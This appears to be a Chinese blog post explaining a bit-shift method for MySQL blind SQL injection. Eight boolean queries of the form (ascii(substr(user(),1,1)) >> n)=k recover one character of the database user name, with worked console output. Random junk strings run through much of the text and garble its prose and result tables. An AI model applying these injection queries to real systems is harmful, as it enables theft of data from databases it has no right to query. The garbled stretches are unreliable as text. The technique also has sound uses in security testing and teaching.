关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:

7 I7 h6 m4 T1 ^9 Y
5 M5 d/ K, L# Q5 |+ |
, ?$ Z  [4 S+ Y3 Ips:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

, @1 G: q9 _4 d# m/ J! M- y0 W
' G0 V( i9 {! V" ^
* C3 ~; Q: K. k% A( S" {. L! z5 u7 S% E首先执行如下sql语句:
' i! ]8 t& i. p; f

1 _6 ?- ~) {, Y
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
% C: s; U( L' r


我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



8 [. H4 Q! p1 X% T% z6 }1 i$ }6 A2 K$ u第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


, h' Y% a+ ~, I
8 ^& I5 K9 R6 H( {" y% \如果运算结果为1,说明第一位为0,不为1
" r6 u0 y# L4 g4 t- q

, m0 O. _6 F: h/ @- S1 _& {; P
. u: M+ O) N# ~, O; W- O8 _+————————————–+
6 G. c* H5 ~! T% P; m
: V! s6 Q7 ~$ r| (ascii((substr(user(),1,1))) >> 7)=0 |
3 j1 }7 z: ]. s/ f7 k: A4 T6 I$ ]
: J' l7 s2 c$ _! D- F+ f, a+————————————–+
3 ~8 P- K6 h4 w9 q5 U
9 d! {$ }, F8 a4 `+ c* E| 1 |
( }8 k( L+ l* w/ \$ d8 p: B
+————————————–+
, V5 ~8 J) K6 p0 r; h' B  D* m
1 row in set (0.00 sec)
1 S8 y3 j' Z$ |8 J
这样我们就确定这个8bit的ascii的第一位为0
. I) w9 R# q& B5 l7 o

! ]( B$ C2 A4 K8 q1 K/ y
  s+ h7 p! v! Y7 M第二次我们来做6次右偏移来确定前两位


% o4 _; @( k& ^( C* k! B" y
; g2 f! \6 h; U# J4 C! Z. w" R前两位可能是01或00,即依然可以与0做比较,
9 j, d4 f  E8 V3 M" A
# \! ~5 C% M* C4 j+ u! L) ^mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 J! `# P7 Q( a, O0 z
; S+ H5 ], {; V* C+————————————–+
  `6 z5 |! l7 S5 x; T. U
| (ascii((substr(user(),1,1))) >> 6)=0 |
' L& N( m% `: }9 n% l1 E/ g3 V8 B/ a
+————————————–+
2 v% J( |6 G. h: ~$ t; Z
| 0 |

  G; ?# V" h. f$ ^3 d, Y( Q+————————————–+

* Z( Z9 A0 f* p" m" u8 q1 row in set (0.00 sec)

$ t6 [0 h1 b# A( V
) Y" i, ?' n- C& a+ ^
结果为0,即第二位为1
  w* C2 E2 G5 G8 o" C- q) w
5 g! c) K, t& {/ }9 z7 L6 q
$ [* J+ j* |) [* b& t, }* _
7 G) f4 e4 k, x8 V开始猜测前三位为010或011
. \7 q+ |, l- L* N+ A
. ^: H  w# a* e2 ]6 W3 x: ?2 N

. A8 F5 Q" b6 _' R: S# z让我们看看010和011的ascii码是多少
0 n1 ], O' w$ k# G# X/ z$ `


- M' G- G2 C1 G: ~3 P分别查询select b’011′ select b’010′
3 p0 J( q/ J! ?' d$ W


获得结果 010 = 2 011 = 3

! J9 U2 x( h" F1 z, [. v/ h  F' Y- ^/ T
$ y% P) h& [+ I5 N/ F
执行如下sql:
8 {6 {( S1 X0 t: D) b" A) B0 f& w
  X% f/ W! `+ j1 j
, z: V. e4 K+ L% v
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

6 V7 A1 M3 l2 Z+————————————–+

1 x! Y( K( }1 z/ T' I) i% `| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
7 \; {3 c, a1 V9 ?6 @: C- h1 b
| 0 |

* W  ^1 v3 w5 o6 d+————————————–+
% s8 O: M0 `: |; L3 I
; l4 `+ }' p0 G# i# q% a$ j) `' f即前三位不为010,而是011
  y' o5 H, ?; g2 L6 n% B
0 Y" A7 }/ n0 x  @* }

直到获得最后一位



- r8 r% `% B+ D" t' q8 K0 s: I最终结果为:01110010

* F- V0 z5 X9 [+ C+ g
: L+ ]8 s' Y* Y- {
转换一下:


5 r, M- N2 e' }- `( @4 d
select b’01110010′

/ |  U7 T6 W$ y! ]2 {

查询结果
# S% A3 j9 K: B( d6 {: h
8 j/ y* P7 }. N& m
: T% ~7 d- O' j! b5 L
$ O$ }. ^$ k2 G7 Q% z+————-+

0 }5 q# Q$ o- D: Q; j| b’01110010′ |

) j- I, f# {3 P; _  A' @+————-+
* G7 t# o1 }9 L) }
| r |

+————-+

0 D9 w  E, I1 t1 A1 row in set (0.00 sec)
3 z: b6 X5 E1 E, K: w0 K0 X
) ]' u" I( ]% c' M

这样我们就获得了user()的第一位.其它位依此类推
, h+ L8 Z/ }0 F# l